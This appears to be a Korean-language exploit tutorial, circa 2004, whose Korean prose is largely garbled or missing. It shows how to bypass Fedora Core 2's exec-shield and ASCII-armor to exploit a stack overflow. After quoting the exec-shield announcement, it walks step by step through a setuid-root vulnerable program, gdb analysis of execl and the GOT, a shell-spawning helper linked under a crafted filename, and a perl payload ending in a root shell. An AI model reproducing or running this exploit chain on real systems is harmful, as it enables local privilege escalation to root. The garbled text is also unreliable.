

How to Exploit Overflow Vulnerability Under Fedora Core

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Abstract

Neworder

How to Exploit Overflow Vulnerability Under Fedora

Core(<http://www.securityfocus.com/archive/1/387192>)

<http://neworder.box.sk/newsread.php?newsid=13007>)

The Fedora Project is a Red-Hat-sponsored and community-supported open source project. It is also a proving ground for new technology that may eventually make its way into Red Hat products. It is not a supported product of Red Hat, Inc.

The goal of The Fedora Project is to work with the Linux community to build a complete, general purpose operating system exclusively from free software. Development will be done in a public forum. The project will produce time-based releases of Fedora Core about 2-3 times a year with a public release schedule. The Red Hat engineering team will continue to participate in the building of Fedora Core and will invite and encourage more outside participation than was possible in Red Hat Linux. By using this more open process, we hope to provide an operating system that uses free software development practices and is more appealing to the open source community.

(2004,4,28) Fedora Core3 Test 3

Fedora 가

Red Hat 가

Fedora가 Red Hat LINUX exec-shield² Red Hat Red Hat

8.0 Aleph One Red Hat 9.0 Random

Stack non-executable stack ³

non-executable stack return-into-libc

Fedora exec-shield exec-shield ANNOUNCE-exec-

shield⁴ ANNOUNCE-exec-shield ANNOUNCE-exec-

shield

¹ <http://fedora.redhat.com>

² <http://people.redhat.com/mingo/exec-shield>

³ Solar Designer가 , <http://www.openwall.com/linux>

⁴ <http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield>

-- (22-Sep-2003 10:10) -- (: vangelis@wowhacker.org)

[: exec-shield 가 .
 , 가 . 가
(stack executability requirement) gcc binutil
(chstk), /proc/sys/kernel exec-shield 가 .(
 가 .) rhl-beta-list
(http://www.redhat.com/mailman/listinfo/rhl-beta-list) .

[Announcement] "Exec Shield",

Linux/x86 "Exec Shield" 가
(GPL/OSL 2.4.21-
rc) :

<http://redhat.com/mingo/exec-shield/>

exec-shield stack, buffer ,
exploit .
'shellcode' . ,
가 .

:
x86 pagetable pagetable executable bit (PROT_EXEC PROT_READ가 ')
,) .
x86 non-executable (PROT_EXEC
) PROT_READ 가 .

가, x86 ELF ABI 가 , pagetable executable
bit CPU 가 .

Solar Designer "non-exec stack patch" .
x86 (stack frame) 가
(code segment) 'limit' . exec-shield
code segment limit 가 가 .

:

exec-shield executable mapping tracking ,
'maximum executable address' . 'exec-limit' . context-
switch code segment descriptor exec-limit . (
thread)가 exec-limit 가 user code segment ,
code-segment limit가 .

user segment descriptor , context-switch path overhead 2-3
GDT , 6 .

가, ASCII-armor PROT_EXEC , x86
0-16MB . , ASCII jump
URL

:

<http://somehost/buggy.app?reallyloooooooooooooooooooooong.123489719875>

ASCII(, 1-255) 가
ASCII-armor URL 가 jump .

, .(URL \0 .) ,
sendmail ASCII .

exec-shield가 , 'cat' ASCII-armor

\$./cat-lowaddr /proc/self/maps

```
00101000-00116000 r-xp 00000000 03:01 319365 /lib/ld-2.3.2.so
00116000-00117000 rw-p 00014000 03:01 319365 /lib/ld-2.3.2.so
00117000-0024a000 r-xp 00000000 03:01 319439 /lib/libc-2.3.2.so
0024a000-0024e000 rw-p 00132000 03:01 319439 /lib/libc-2.3.2.so
0024e000-00250000 rw-p 00000000 00:00 0
01000000-01004000 r-xp 00000000 16:01 2036120 /home/mingo/cat-lowaddr
01004000-01005000 rw-p 00003000 16:01 2036120 /home/mingo/cat-lowaddr
01005000-01006000 rw-p 00000000 00:00 0
40000000-40001000 rw-p 00000000 00:00 0
40001000-40201000 r--p 00000000 03:01 464809 locale-archive
40201000-40207000 r--p 00915000 03:01 464809 locale-archive
40207000-40234000 r--p 0091f000 03:01 464809 locale-archive
40234000-40235000 r--p 00955000 03:01 464809 locale-archive
bffffe00-c0000000 rw-p fffff000 00:00 0
```

가 0x01003fff , ASCII-armor .

non-executable mmap() data malloc() heap non-
executable .(data 가 ,
가 .)

ASCII-armor 1MB NULL pointer (NULL pointer dereference protection)

, Xfree86 16 bit emulation mapping

exec-shield가 :

```

08048000-0804b000 r-xp 00000000 16:01 3367 /bin/cat
0804b000-0804c000 rw-p 00003000 16:01 3367 /bin/cat
0804c000-0804e000 rwxp 00000000 00:00 0
40000000-40012000 r-xp 00000000 16:01 3759 /lib/ld-2.2.5.so
40012000-40013000 rw-p 00011000 16:01 3759 /lib/ld-2.2.5.so
40013000-40014000 rw-p 00000000 00:00 0
40018000-40129000 r-xp 00000000 16:01 4058 /lib/libc-2.2.5.so
40129000-4012f000 rw-p 00111000 16:01 4058 /lib/libc-2.2.5.so
4012f000-40133000 rw-p 00000000 00:00 0
bffff000-c0000000 rwxp 00000000 00:00 0

```

가 ASCII-armor , 가 exec-limit가 0xbfffffff(3GB) - , userspace mapping .

ASCII-armor .

ASCII-armor

Arjan Van de Ven

binutils patch(binutils-2.13.90.0.18-elf-small.patch)

, ASCII-armor

'ld' flag "ld -melf_i386_small" ("gcc -Wl,-melf_i386_small") 가 .

(exec-shield URL .)

Overhead:

가 . PROT_MMAP 가

, context-switch 2-3 .

:

, 가
heap
가
exec-shield

exploit shell-code

, 가 exec-shield (, ASCII-armor
data) 가

, end-of-string \0 가 ASCII
16MB jump 가
.(root shell ,
가 가 .)

exec-shield 100% 'blanket'
'barrier' . 가 가 layer .

가 exec-shield trampoline . , trampoline
exec-limit . gcc trampoline 가

가 per-binary ELF flag .(ELF flag
가 non-exec-stack Solar Designer non-exec stack patch
.)

exec-shield PROT_READ가 x86
가 Xfree86 module loader . 가 XFree86 on rawhide.redhat.com

XFree86 bugfix

echo 1 > /proc/sys/kernel/X-workaround

```
(X      )                iopl()      exec-shield  disabled
      (sendmail  )      exec-shield  enabled      default-off
X                X  stack  forced-executable      'chkstk'
```

exec-shield :

exec-shield-2.4.21-rc1-B6 kernel patch 2.4.21-rc1 kernel , ,

4 가 exec-shield= boot-time kernel command line .

:

- exec-shield=0 - always-disabled
- exec-shield=1 - default disabled, except binaries that enable it
- exec-shield=2 - default enabled, except binaries that disable it
- exec-shield=3 - always-enabled

patch default 'exec-shield=2' . /proc

:

echo 0 > /proc/sys/kernel/exec-shield

: exec-shield가 가 가 ,

exec-shield가 .

Solar Designer chstk.c . 'enable non-exec stack' ELF flag

가 :

\$./chstk

Usage: ./chstk OPTION FILE...

Manage stack area executability flag for binaries

- e enable execution permission
- E enable non-execution permission
- d disable execution permission
- D disable non-execution permission
- v view current flag state

가 가 , 가 ,
가 0 가 system default

Exec-shield 1 가 , 'exec-shield=1' boot option ,
binary non-exec stack :

./chstk -E /usr/sbin/sendmail

(exec-shield .)

anyway, comments, suggestions and test feedback is welcome.

Ingo

-- --

1. exec-shield stack, buffer , exploit .
 ' shellcode ' . non-executable
 mmap() data malloc() heap non-executable .

 2. exec-shield code segment limit 가 가 .

 3. exec-shield 'exec-limit' executable mapping
 'maximum executable address' .

 4. ASCII-armor PROT_EXEC , x86 0-16MB
 . 4 , exec-shield 16MB
 null(0x00) 가 , 'NULL pointer dereference'
 'protection' . return-into-libc 가 .
 Return-into-libc stack non-executable library
 , 4 . ASCII-armor
 . (Fedora Core2)
 return-into-libc .
- (gdb) x/i setuid
0x005fefc0 <setuid>: push %ebp
(gdb) x/i system
0x005ab5e0 <system>: push %ebp
- , 가 ASCII-armor .

```

[vangelis@testbed fedora]$ cat /proc/25297/maps
0055b000-00570000 r-xp 00000000 03:05 84857      /lib/ld-2.3.3.so
00570000-00571000 r--p 00014000 03:05 84857      /lib/ld-2.3.3.so
00571000-00572000 rw-p 00015000 03:05 84857      /lib/ld-2.3.3.so
00578000-0068d000 r-xp 00000000 03:05 84858      /lib/tls/libc-2.3.3.so
0068d000-0068f000 r--p 00115000 03:05 84858      /lib/tls/libc-2.3.3.so
0068f000-00691000 rw-p 00117000 03:05 84858      /lib/tls/libc-2.3.3.so
00691000-00693000 rw-p 00000000 00:00 0
006ba000-006bc000 r-xp 00000000 03:05 84860      /lib/libdl-2.3.3.so
006bc000-006bd000 r--p 00001000 03:05 84860      /lib/libdl-2.3.3.so
006bd000-006be000 rw-p 00002000 03:05 84860      /lib/libdl-2.3.3.so
008d6000-008d9000 r-xp 00000000 03:05 84874      /lib/libtermcap.so.2.0.8
008d9000-008da000 rw-p 00002000 03:05 84874      /lib/libtermcap.so.2.0.8
00bf4000-00bfe000 r-xp 00000000 03:05 80211      /lib/libnss_files-2.3.3.so
00bfe000-00bff000 r--p 00009000 03:05 80211      /lib/libnss_files-2.3.3.so
00bff000-00c00000 rw-p 0000a000 03:05 80211      /lib/libnss_files-2.3.3.so
00f4f000-00f50000 r-xp 00000000 00:00 0
08047000-080d2000 r-xp 00000000 03:05 70763      /bin/bash
080d2000-080d8000 rw-p 0008b000 03:05 70763      /bin/bash
080d8000-080dc000 rw-p 00000000 00:00 0
09a65000-09a86000 rw-p 00000000 00:00 0
f6d11000-f6d12000 rw-p 00000000 00:00 0
f6d12000-f6d18000 r--s 00000000 03:02 711249      /usr/lib/gconv/gconv-modules.cache
f6d18000-f6e3f000 r--p 0187d000 03:02 697386      /usr/lib/locale/locale-archive
f6e3f000-f703f000 r--p 00000000 03:02 697386      /usr/lib/locale/locale-archive
f703f000-f7080000 rw-p 00000000 00:00 0
f70a3000-f70a5000 rw-p fffff000 00:00 0
feea4000-ff000000 rw-p fff65000 00:00 0
ffffd000-ffffe000 ---p 00000000 00:00 0
[vangelis@testbed fedora]$

```

5. `exec-shield` (, ASCII-armor
 `data`) 가 .

6. `exec-shield` .

가

Fedora Core2

가 가 , beist Red Hat 9 Fedora core2

	REDHAT LINUX 9.0	FEDORA CORE2
STACK	byte가 0xbf , 가	byte가 0xfe , 가
LIBRARY	/lib/ld-2.3.2.so 0x40000000 - 0x40016fff /lib/tls/libc-2.3.2.so 0x42000000 - 0x42132fff	/lib/ld-2.3.3.so 0x00415000 - 0x0042bfff /lib/tls/libc-2.3.3.so 0x00432000 - 0x0054afff libc-2.3.3.so 가 /lib/tls/libc-2.3.3.so 0x00111000 - 0x00229fff
Program Text Segment	0x8048000 - 0x8048fff	0x8048000 - 0x8048fff
Program Data Segment	0x8049000 - 0x8049fff	0x8049000 - 0x8049fff

	REDHAT LINUX 9.0	FEDORA CORE2
RANDOM STACK	O	O
NONE EXEC STACK	X	O
RANDOM LIBRARY	X	O
LIBRARY ADDRESS	16mb	16mb

Fedora core2

execl()

execl()

data segment

1. gdb , main breakpoint , <execl+3> ,
return address
 2. , data segment examine , execl
 3. execl() 가
 - 4.
 5. execl
 6. payload
- | **buffer overflow data** | **execl** **- 8** | **<execl + 3>** |

Fedora Core2

```
[vangelis@testbed fedora]$ cat > vul.c
```

```
int main(int argc, char *argv[])  
{  
    char buffer[256];  
    strcpy(buffer,argv[1]);  
    return 0;  
}
```

```
[vangelis@testbed fedora]$ gcc -o vul vul.c
```

```
[vangelis@testbed fedora]$ su
Password:
[root@testbed fedora]# chgrp root vul
[root@testbed fedora]# chown root vul
[root@testbed fedora]# chmod 4755 vul
[root@testbed fedora]# ls -l vul
-rwsr-xr-x 1 root root 4733 11?12 23:11 vul
[root@testbed fedora]# su vangelis
[vangelis@testbed fedora]$
```

<exec1+3>

gdb

```
[vangelis@testbed fedora]$ gdb vul
GNU gdb Red Hat Linux (6.0post-0.20040223.19rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols found)...Using host libthread_db
library "/lib/tls/libthread_db.so.1".
```

```
(gdb) b main
```

```
Breakpoint 1 at 0x8048379
```

```
(gdb) r
```

```
Starting program: /home/vangelis/fedora/vul
```

```
Error while mapping shared library sections:
```

```
: ?
```

```
Error while reading shared library symbols:
```

```
: 涸 ?漿佻 應 媛壹.
```

```
(no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols:
```

```
: 涸 ?漿佻 應 媛壹.
```

```
Error while reading shared library symbols:
```

```
: 涸 ?漿佻 應 媛壹.
```

```
Breakpoint 1, 0x08048379 in main ()
```

```
(gdb) disas exec1
```

Dump of assembler code for function execl:

```
0x005fea00 <execl+0>:  push  %ebp
0x005fea01 <execl+1>:  mov   %esp,%ebp
0x005fea03 <execl+3>:  lea  0x10(%ebp),%eax
0x005fea06 <execl+6>:  push  %edi
0x005fea07 <execl+7>:  push  %esi
0x005fea08 <execl+8>:  push  %ebx
0x005fea09 <execl+9>:  sub   $0x1030,%esp
0x005fea0f <execl+15>:  mov   0xc(%ebp),%ecx
0x005fea12 <execl+18>:  movl  $0x400,0xffffffff0(%ebp)
0x005fea19 <execl+25>:  lea  0x1b(%esp),%esi
0x005fea1d <execl+29>:  and   $0xffffffff0,%esi
0x005fea20 <execl+32>:  call  0x58c90d <__i686.get_pc_thunk.bx>
0x005fea25 <execl+37>:  add   $0x905d7,%ebx
0x005fea2b <execl+43>:  mov   %ecx,(%esi)
0x005fea2d <execl+45>:  test  %ecx,%ecx
0x005fea2f <execl+47>:  mov   %eax,0xfffffe8(%ebp)
0x005fea32 <execl+50>:  movl  $0x1,0xfffffec(%ebp)
0x005fea39 <execl+57>:  je    0x5fea73 <execl+115>
0x005fea3b <execl+59>:  movl  $0x1a,0xfffffe0(%ebp)
0x005fea42 <execl+66>:  lea  0x0(%esi),%esi
0x005fea49 <execl+73>:  lea  0x0(%edi),%edi
0x005fea50 <execl+80>:  mov   0xffffffff0(%ebp),%edx
---Type <return> to continue, or q <return> to quit---
0x005fea53 <execl+83>:  cmp   %edx,0xfffffec(%ebp)
0x005fea56 <execl+86>:  je    0x5fea96 <execl+150>
0x005fea58 <execl+88>:  addl  $0x8,0xfffffe0(%ebp)
0x005fea5c <execl+92>:  mov   0xfffffe8(%ebp),%edx
0x005fea5f <execl+95>:  mov   0xfffffec(%ebp),%edi
0x005fea62 <execl+98>:  addl  $0x4,0xfffffe8(%ebp)
0x005fea66 <execl+102>:  mov   (%edx),%ecx
0x005fea68 <execl+104>:  mov   %ecx,(%esi,%edi,4)
0x005fea6b <execl+107>:  inc   %edi
0x005fea6c <execl+108>:  test  %ecx,%ecx
0x005fea6e <execl+110>:  mov   %edi,0xfffffec(%ebp)
0x005fea71 <execl+113>:  jne  0x5fea50 <execl+80>
0x005fea73 <execl+115>:  mov   0xfffffe0(%ebx),%edi
0x005fea79 <execl+121>:  mov   (%edi),%ecx
0x005fea7b <execl+123>:  mov   %esi,0x4(%esp)
0x005fea7f <execl+127>:  mov   0x8(%ebp),%esi
```



```

0x005fea82 <execl+130>: mov    %ecx,0x8(%esp)
0x005fea86 <execl+134>: mov    %esi,(%esp)
0x005fea89 <execl+137>: call  0x5fe7a0 <execve>
0x005fea8e <execl+142>: lea   0xffffffff4(%ebp),%esp
0x005fea91 <execl+145>: pop   %ebx
0x005fea92 <execl+146>: pop   %esi
0x005fea93 <execl+147>: pop   %edi
---Type <return> to continue, or q <return> to quit---
0x005fea94 <execl+148>: pop   %ebp
0x005fea95 <execl+149>: ret
0x005fea96 <execl+150>: mov   0xffffffffec(%ebp),%edx
0x005fea99 <execl+153>: mov   0xffffffffe0(%ebp),%ecx
0x005fea9c <execl+156>: add   %edx,%edx
0x005fea9e <execl+158>: mov   %edx,0xffffffffe4(%ebp)
0x005feaa1 <execl+161>: and   $0xffffffffc,%ecx
0x005feaa4 <execl+164>: sub   %ecx,%esp
0x005feaa6 <execl+166>: mov   %edx,0xfffffffff0(%ebp)
0x005feaa9 <execl+169>: mov   0xfffffffffe4(%ebp),%eax
0x005feaac <execl+172>: lea   0x1b(%esp),%edx
0x005feab0 <execl+176>: and   $0xfffffffff0,%edx
0x005feab3 <execl+179>: lea   (%eax,%edx,1),%edi
0x005feab6 <execl+182>: cmp   %esi,%edi
0x005feab8 <execl+184>: je    0x5feacc <execl+204>
0x005feaba <execl+186>: cld
0x005feabb <execl+187>: mov   0xffffffffec(%ebp),%ecx
0x005feabe <execl+190>: mov   %edx,%edi
0x005feac0 <execl+192>: shl   $0x2,%ecx
0x005feac3 <execl+195>: shr   $0x2,%ecx
0x005feac6 <execl+198>: repz movsl %ds:(%esi),%es:(%edi)
0x005feac8 <execl+200>: mov   %edx,%esi
0x005feaca <execl+202>: jmp   0x5fea58 <execl+88>
---Type <return> to continue, or q <return> to quit---
0x005feacc <execl+204>: cld
0x005feacd <execl+205>: mov   0xffffffffec(%ebp),%ecx
0x005fead0 <execl+208>: mov   %edx,%edi
0x005fead2 <execl+210>: shl   $0x2,%ecx
0x005fead5 <execl+213>: shr   $0x2,%ecx
0x005fead8 <execl+216>: repz movsl %ds:(%esi),%es:(%edi)
0x005feada <execl+218>: mov   %edx,%esi
0x005feadc <execl+220>: mov   0xffffffffe4(%ebp),%edi

```

```

0x005feadf <execl+223>: mov    0xffffffff(%ebp),%eax
0x005feae2 <execl+226>: add    %eax,%edi
0x005feae4 <execl+228>: mov    %edi,0xffffffff0(%ebp)
0x005feae7 <execl+231>: jmp    0x5fea58 <execl+88>
0x005feaec <execl+236>: nop
0x005feaed <execl+237>: nop
0x005feae6 <execl+238>: nop
0x005feae7 <execl+239>: nop

```

End of assembler dump.

(gdb) q

The program is running. Exit anyway? (y or n) y

[vangelis@testbed fedora]\$

```

<execl+0>  <execl+1>          " push %ebp "  " mov %esp,%ebp "
%ebp          . gdb          가 return address          0x005fea03

```

, data segment examine , execl()

가 , Fedora Core2 0x8049000 data segment가 .

[vangelis@testbed fedora]\$ gdb -q vul

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) b main

Breakpoint 1 at 0x8048379

(gdb) r

Starting program: /home/vangelis/fedora/vul

Error while mapping shared library sections:

: ?

Error while reading shared library symbols:

: 涸 ?漿佻 應 媛壹.

(no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols:

: 涸 ?漿佻 應 媛壹.

Error while reading shared library symbols:

: 涸 ? 漿 份 應 媛 壹 .

Breakpoint 1, 0x08048379 in main ()

(gdb) x/50x 0x8049000

0x8049000:	0x464c457f	0x00010101	0x00000000	0x00000000
0x8049010:	0x00030002	0x00000001	0x080482c0	0x00000034
0x8049020:	0x00000788	0x00000000	0x00200034	0x00280007
0x8049030:	0x0019001c	0x00000006	0x00000034	0x08048034
0x8049040:	0x08048034	0x000000e0	0x000000e0	0x00000005
0x8049050:	0x00000004	0x00000003	0x00000114	0x08048114
0x8049060:	0x08048114	0x00000013	0x00000013	0x00000004
0x8049070:	0x00000001	0x00000001	0x00000000	0x08048000
0x8049080:	0x08048000	0x0000047c	0x0000047c	0x00000005
0x8049090:	0x00001000	0x00000001	0x0000047c	0x0804947c
0x80490a0:	0x0804947c	0x00000100	0x00000104	0x00000006
0x80490b0:	0x00001000	0x00000002	0x00000490	0x08049490
0x80490c0:	0x08049490	0x000000c8		

(gdb)

0x80490c8:	0x000000c8	0x00000006	0x00000004	0x00000004
0x80490d8:	0x00000128	0x08048128	0x08048128	0x00000020
0x80490e8:	0x00000020	0x00000004	0x00000004	0x6474e551
0x80490f8:	0x00000000	0x00000000	0x00000000	0x00000000
0x8049108:	0x00000000	0x00000006	0x00000004	0x62696c2f
0x8049118:	0x2d646c2f	0x756e696c	0x6f732e78	0x0000322e
0x8049128:	0x00000004	0x00000010	0x00000001	0x00554e47
0x8049138:	0x00000000	0x00000002	0x00000002	0x00000005
0x8049148:	0x00000003	0x00000006	0x00000004	0x00000001
0x8049158:	0x00000005	0x00000000	0x00000000	0x00000000
0x8049168:	0x00000000	0x00000003	0x00000002	0x00000000
0x8049178:	0x00000000	0x00000000	0x00000000	0x00000044
0x8049188:	0x00000000	0x000000ef		

(gdb)

0x8049190:	0x00000012	0x00000035	0x08048474	0x00000004
0x80491a0:	0x000e0011	0x00000001	0x00000000	0x00000000
0x80491b0:	0x00000020	0x00000015	0x00000000	0x00000000
0x80491c0:	0x00000020	0x0000002e	0x00000000	0x00000030
0x80491d0:	0x00000012	0x764a5f00	0x6765525f	0x65747369
0x80491e0:	0x616c4372	0x73657373	0x675f5f00	0x5f6e6f6d
0x80491f0:	0x72617473	0x005f5f74	0x6362696c	0x2e6f732e
0x8049200:	0x74730036	0x79706372	0x4f495f00	0x6474735f

0x8049210:	0x755f6e69	0x00646573	0x696c5f5f	0x735f6362
0x8049220:	0x74726174	0x69616d5f	0x4c47006e	0x5f434249
0x8049230:	0x00302e32	0x00020000	0x00000001	0x00020000
0x8049240:	0x00010001	0x00000024	0x00000010	0x00000000
0x8049250:	0x0d696910	0x00020000		
(gdb)				
0x8049258:	0x00000056	0x00000000	0x08049558	0x00000406
0x8049268:	0x08049568	0x00000107	0x0804956c	0x00000507
0x8049278:	0x83e58955	0x61e808ec	0xe8000000	0x000000bc
0x8049288:	0x0001a3e8	0x00c3c900	0x956035ff	0x25ff0804
0x8049298:	0x08049564	0x00000000	0x956825ff	0x00680804
0x80492a8:	0xe9000000	0xffffffffe0	0x956c25ff	0x08680804
0x80492b8:	0xe9000000	0xffffffffd0	0x895eed31	0xf0e483e1
0x80492c8:	0x68525450	0x080483ec	0x0483a468	0x68565108
0x80492d8:	0x08048370	0xffffbfe8	0x9090f4ff	0x53e58955
0x80492e8:	0x000000e8	0xc3815b00	0x0000126f	0xfc838b50
0x80492f8:	0x85fffffff	0xff0274c0	0xfc5d8bd0	0x9090c3c9
0x8049308:	0x83e58955	0x3d8008ec	0x0804957c	0xa1297500
0x8049318:	0x08049578	0xd285108b		
(gdb)				
0x8049320:	0xf6891774	0xa304c083	0x08049578	0x78a1d2ff
0x8049330:	0x8b080495	0x75d28510	0x7c05c6eb	0x01080495
0x8049340:	0xf689c3c9	0x83e58955	0x8ca108ec	0x85080494
0x8049350:	0xb81974c0	0x00000000	0x1074c085	0x680cec83
0x8049360:	0x0804948c	0xc483d0ff	0x00768d10	0x9090c3c9
0x8049370:	0x81e58955	0x000108ec	0xf0e48300	0x000000b8
0x8049380:	0x83c42900	0x458b08ec	0x04c0830c	0x858d30ff
0x8049390:	0xffffffffe8	0xf116e850	0xc483ffff	0x0000b810
0x80493a0:	0xc3c90000	0x57e58955	0xec835356	0x0000e80c
0x80493b0:	0x815b0000	0x0011aac3	0xfebae800	0x938dffff
0x80493c0:	0xffffffff20	0xff208b8d	0xca29ffff	0xfac1f631
0x80493d0:	0x73d63902	0x90d7890f	0x20b394ff	0x46ffffff
0x80493e0:	0xf472fe39	0x5b0cc483		
(gdb)				
0x80493e8:	0xc3c95f5e	0x56e58955	0x0000e853	0x815b0000
0x80493f8:	0x001166c3	0x208b8d00	0x8dffffff	0xffff2083
0x8049408:	0xc1c129ff	0xc98502f9	0x75ff718d	0x003ae80b
0x8049418:	0x5e5b0000	0xf689c3c9	0x20b394ff	0x89ffffff
0x8049428:	0xd2854ef2	0xe5ebf275	0x53e58955	0x947ca152
0x8049438:	0xf8830804	0x947cbbff	0x0c740804	0xf04eb83

```

0x8049448:      0x83038bd0      0xf475fff8      0xc3c95b58      0x53e58955
0x8049458:      0x000000e8      0xc3815b00      0x000010ff      0xfe9ee852
0x8049468:      0x5d8bffff      0x00c3c9fc      0x00000003      0x00020001
0x8049478:      0x00000000      0xffffffff      0x00000000      0xffffffff
0x8049488 <__DTOR_END__>:  0x00000000      0x00000000      0x00000001      0x00000024
0x8049498 <_DYNAMIC+8>:  0x0000000c      0x08048278      0x0000000d      0x08048454
0x80494a8 <_DYNAMIC+24>:  0x00000004      0x08048148
(gdb)
0x80494b0 <_DYNAMIC+32>:  0x00000005      0x080481d4      0x00000006      0x08048174
0x80494c0 <_DYNAMIC+48>:  0x0000000a      0x00000060      0x0000000b      0x00000010
0x80494d0 <_DYNAMIC+64>:  0x00000015      0x005714b8      0x00000003      0x0804955c
0x80494e0 <_DYNAMIC+80>:  0x00000002      0x00000010      0x00000014      0x00000011
0x80494f0 <_DYNAMIC+96>:  0x00000017      0x08048268      0x00000011      0x08048260
0x8049500 <_DYNAMIC+112>:  0x00000012      0x00000008      0x00000013      0x00000008
0x8049510 <_DYNAMIC+128>:  0x6fffffff      0x08048240      0xffffffff      0x00000001
0x8049520 <_DYNAMIC+144>:  0x6fffffff      0x08048234      0x00000000      0x00000000
0x8049530 <_DYNAMIC+160>:  0x00000000      0x00000000      0x00000000      0x00000000
0x8049540 <_DYNAMIC+176>:  0x00000000      0x00000000      0x00000000      0x00000000
0x8049550 <_DYNAMIC+192>:  0x00000000      0x00000000      0x00000000      0x08049490
0x8049560 <_GLOBAL_OFFSET_TABLE_+4>:  0x005714d0      0x00566830      0x0058c9f0      0x080482b6
0x8049570 <data_start>:  0x00000000      0x00000000
(gdb) x/8x 0x8049564
0x8049564 <_GLOBAL_OFFSET_TABLE_+8>:  0x00566830      0x0058c9f0      0x080482b6      0x00000000
0x8049574 <__dso_handle>:  0x00000000      0x08049488      0x00000000      0x00000000
(gdb)

```

```

    7| execl()
    .| execl()

```

```

    .| execl()
    .| null

```

execl(char *path, char *arg0,...,char *argn, 0);

```

0x8049564 <_GLOBAL_OFFSET_TABLE_+8>:  0x00566830      0x0058c9f0      0x080482b6      0x00000000
0x8049574 <__dso_handle>:  0x00000000      0x08049488      0x00000000      0x00000000
(gdb)

```

```
execl(0x8049568, 0x804956c, 0x8049570) 가 . execl()
```

가 .

```
(gdb) x/8x 0x0058c9f0
```

```
0x58c9f0 <__libc_start_main>: 0x57e58955 0xec835356 0x0c458b4c 0xe810558b
0x58ca00 <__libc_start_main+16>: 0xfffff09 0x25f8c381 0x7d8b0010 0x1c758b18
```

```
(gdb) x/8x 0x080482b6
```

```
0x80482b6 <_init+62>: 0x00000868 0xffd0e900 0xed31ffff 0x83e1895e
0x80482c6 <_start+6>: 0x5450f0e4 0x83ec6852 0xa4680804 0x51080483
```

```
(gdb) q
```

```
The program is running. Exit anyway? (y or n) y
```

```
[vangelis@testbed fedora]$
```

```
0x0058c9f0 가 25 execl()
,
(setuid(0))
root . return-into-libc system()
return-into-libc root 가 NULL pointer
dereference protection Fedora printf(), stuid(), system() 가
root 가 Fedora
가 .
```

```
[vangelis@testbed fedora]$ cat > exploit.c
```

```
#include <unistd.h>
```

```
main()
```

```
{
    setreuid(geteuid(),geteuid());
    setregid(getegid(),getegid());
    execl("/bin/sh", "sh", 0);
}
```

```
[vangelis@testbed fedora]$ gcc -o exploit exploit.c
```

```
[vangelis@testbed fedora]$ ln -s /home/vangelis/fedora/exploit "`perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x4c\x8b\x45\x0c\x8b\x55\x10", "\xe8\x09\xff\xff\xff\x81\xc3\xf8\x25\x10"``"
```

```
[vangelis@testbed fedora]$ ls -l
```

刺怨

24

```
lrwxrwxrwx 1 vangelis vangelis 29 11?12 11:28 U??WVS??L?E??U??????????%? -> /home/vangelis/fedora/exploit
-rwxrwxr-x 1 vangelis vangelis 5186 11?12 11:27 exploit
-rw-rw-r-- 1 vangelis vangelis 101 11?12 11:27 exploit.c
-rwsr-xr-x 1 root root 4725 11?12 10:31 vul
-rw-rw-r-- 1 vangelis vangelis 90 11?12 10:31 vul.c
[vangelis@testbed fedora]$
```

가 .

payload ,

가 .

gdb .

gcc 2.96

가

```
[vangelis@testbed fedora]$ gdb -q vul
```

```
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
```

```
(gdb) disas main
```

```
Dump of assembler code for function main:
```

```
0x08048370 <main+0>:  push  %ebp
0x08048371 <main+1>:  mov   %esp,%ebp
0x08048373 <main+3>:  sub   $0x108,%esp // 264 가
0x08048379 <main+9>:  and   $0xffffffff0,%esp
0x0804837c <main+12>:  mov   $0x0,%eax
0x08048381 <main+17>:  sub   %eax,%esp
0x08048383 <main+19>:  sub   $0x8,%esp
0x08048386 <main+22>:  mov   0xc(%ebp),%eax
0x08048389 <main+25>:  add   $0x4,%eax
0x0804838c <main+28>:  pushl (%eax)
0x0804838e <main+30>:  lea  0xffffef8(%ebp),%eax
```

```

0x08048394 <main+36>:  push  %eax
0x08048395 <main+37>:  call  0x80482b0 <_init+56>
0x0804839a <main+42>:  add   $0x10,%esp
0x0804839d <main+45>:  mov   $0x0,%eax
0x080483a2 <main+50>:  leave
0x080483a3 <main+51>:  ret

```

End of assembler dump.

(gdb) q

[vangelis@testbed fedora]\$

payload

buffer	overflow	data	execl	- 8	<execl + 3>
	264 bytes		0x8049568 - 8 = 0x8049560		0x005fea03

execve()	payload	execl()	8	execl()
		, execve()	가	ebp+8

[vangelis@testbed fedora]\$./vul `perl -e 'print "A"x264,"\x60\x95\x04\x08\x03\xea\x5f"'`

sh-2.05b# id

uid=0(root) gid=501(vangelis) groups=501(vangelis)

sh-2.05b# whoami

root

sh-2.05b#

root